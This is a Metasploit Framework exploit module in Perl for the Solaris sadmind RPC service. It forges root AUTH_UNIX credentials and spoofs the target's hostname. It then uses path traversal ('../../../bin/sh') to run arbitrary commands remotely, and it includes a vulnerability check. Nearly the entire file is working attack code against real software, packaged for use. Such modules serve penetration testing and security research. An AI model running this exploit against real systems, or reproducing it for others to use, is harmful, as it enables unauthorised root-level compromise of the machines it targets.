
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::solaris_sadmind_exec;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use Pex::SunRPC;
use Pex::XDR;

my $advanced = {};
my $info =
  {
	'Name'    => 'Solaris sadmind Command Execution',
	'Version' => '$Revision: 1.43 $',
	'Authors' =>
	  [
		'vlad902 <vlad902 [at] gmail.com>',
		'H D Moore <hdm [at] metasploit.com>',
		'Brian Caswell <bmc [at] snort.org>'
	  ],

	'OS'    => [ 'solaris' ],
	'Priv'  => 1,

	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target RPC port', 111],
		'UID'	=> [1, 'DATA', 'UID to emulate', 0],
		'GID'	=> [1, 'DATA', 'GID to emulate', 0],
	  },

	'Payload' =>
	  {
		'Space'    => 512,
		'BadChars' => "\x00",
		'Keys'     => ['cmd'],
	  },

	'Description'  => Pex::Text::Freeform(qq{
        This exploit targets a weakness in the default security
        settings of the sadmind RPC application. This server is
        installed and enabled by default on most versions of the
        Solaris operating system.    
}),

	'Refs'  =>
	  [
		['OSVDB', '4585'],
		['URL', 'http://lists.insecure.org/lists/vulnwatch/2003/Jul-Sep/0115.html'],
		['MIL',  '64'],
	  ],

	'Targets' => [ ],
	
	'Keys'  => ['sadmind'],

	'DisclosureDate' => 'Sep 13 2003',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Check {
	my $self = shift;

	my $ret_val;
	if(($ret_val = sadmind_exec($self, "true")) == -1)
	{
		return $self->CheckCode('Generic');
	}

	if($ret_val =~ m/Security exception on host (.*)\.  USER/)
	{
		$self->PrintLine("[*] The server reports access denied for sadmind.");
		return $self->CheckCode('Safe');
	}

	$self->PrintLine("[*] The server appears to be vulnerable.");
	return $self->CheckCode('Confirmed');
}

sub Exploit {
	my $self = shift;
	my $shellcode = $self->GetVar('EncodedPayload')->RawPayload;

	if(sadmind_exec($self, $shellcode) == -1)
	{
		return;
	}

	sleep(3);
}

sub sadmind_exec {
	my ($self, $cmd) = @_;

	my %data;
	if(Pex::SunRPC::Clnt_create(\%data, $self->GetVar('RHOST'), $self->GetVar('RPORT'), 100232, 10, "udp", "udp") == -1)
	{
		$self->PrintLine("[*] RPC request failed (sadmind).");
		return -1;
	}
	Pex::SunRPC::Authunix_create(\%data, "localhost", 0, 0, []);

	my $ret_val;
	if(($ret_val = sadmind_request($self, \%data, "m3t45p10i7", "true")) == -1)
	{
		return -1;
	}

	my $target_hostname;
	if($ret_val && $ret_val =~ m/Security exception on host (.*)\.  USER/)
	{
		$target_hostname = $1;
	}
	else
	{
		$self->PrintLine("[*] Could not obtain target hostname.");
		return -1;
	}

	$self->PrintLine("[*] Using hostname '$target_hostname'.");
	Pex::SunRPC::Authunix_create(\%data, $target_hostname, $self->GetVar('UID'), $self->GetVar('GID'), []);

	if(($ret_val = sadmind_request($self, \%data, $target_hostname, $cmd)) == -1)
	{
		return -1;
	}

	Pex::SunRPC::Clnt_destroy(\%data);

	return $ret_val;
}

sub sadmind_request {
	my ($self, $data_ref, $hostname, $command) = @_;

	my $request_header =
	  Pex::XDR::Encode_int(0).
	  Pex::XDR::Encode_int(0).
	  Pex::XDR::Encode_int(0).
	  Pex::XDR::Encode_int(0).
	  Pex::XDR::Encode_int(0).
	  Pex::XDR::Encode_int(0).
	  Pex::XDR::Encode_int(0).
	  Pex::XDR::Encode_int(6).
	  Pex::XDR::Encode_int(0).
	  Pex::XDR::Encode_int(0).
	  Pex::XDR::Encode_int(0).
	  Pex::XDR::Encode_int(4).
	  Pex::XDR::Encode_int(0).
	  Pex::XDR::Encode_int(4).
	  Pex::XDR::Encode_int(0x7f000001).
	  Pex::XDR::Encode_int(100232).
	  Pex::XDR::Encode_int(10).
	  Pex::XDR::Encode_int(4).
	  Pex::XDR::Encode_int(0x7f000001).
	  Pex::XDR::Encode_int(100232).
	  Pex::XDR::Encode_int(10).
	  Pex::XDR::Encode_int(17).
	  Pex::XDR::Encode_int(30).
	  Pex::XDR::Encode_int(0).
	  Pex::XDR::Encode_int(0).
	  Pex::XDR::Encode_int(0).
	  Pex::XDR::Encode_int(0).
	  Pex::XDR::Encode_string($hostname).
	  Pex::XDR::Encode_string("system").
	  Pex::XDR::Encode_string("../../../bin/sh");

	my $request_body =
	  do_int("ADM_FW_VERSION", 1).
	  do_string("ADM_LANG", "C").
	  do_string("ADM_REQUESTID", "00009:000000000:0").
	  do_string("ADM_CLASS", "system").
	  do_string("ADM_CLASS_VERS", "2.1").
	  do_string("ADM_METHOD", "../../../bin/sh").
	  do_string("ADM_HOST", $hostname).
	  do_string("ADM_CLIENT_HOST", $hostname).
	  do_string("ADM_CLIENT_DOMAIN", "").
	  do_string("ADM_TIMEOUT_PARMS", "TTL=0 PTO=20 PCNT=2 PDLY=30").
	  do_int("ADM_FENCE", 0).
	  do_string("X", "-c").
	  do_string("Y", $command).
	  Pex::XDR::Encode_string("netmgt_endofargs");

	my $request =
	  $request_header.
	  Pex::XDR::Encode_int(length($request_header) + length($request_body) - 326).
	  $request_body;

	if(Pex::SunRPC::Clnt_call($data_ref, 1, $request) == -1)
	{
		$self->PrintLine("[*] sadmind request failed.");
		return -1;
	}

	Pex::XDR::Decode_int(\$$data_ref{'data'});
	Pex::XDR::Decode_int(\$$data_ref{'data'});
	my $string = Pex::XDR::Decode_string(\$$data_ref{'data'});

	return $string;
}

sub do_string {
	my ($str1, $str2) = @_;

	my $buf =
	  Pex::XDR::Encode_string($str1).
	  Pex::XDR::Encode_int(9).
	  Pex::XDR::Encode_int(length($str2) + 1).
	  Pex::XDR::Encode_string($str2).
	  Pex::XDR::Encode_int(0).
	  Pex::XDR::Encode_int(0);

	return $buf;
}

sub do_int {
	my ($str1, $int1) = @_;

	my $buf =
	  Pex::XDR::Encode_string($str1).
	  Pex::XDR::Encode_int(3).
	  Pex::XDR::Encode_int(4).
	  Pex::XDR::Encode_int($int1).
	  Pex::XDR::Encode_int(0).
	  Pex::XDR::Encode_int(0);

	return $buf;
}
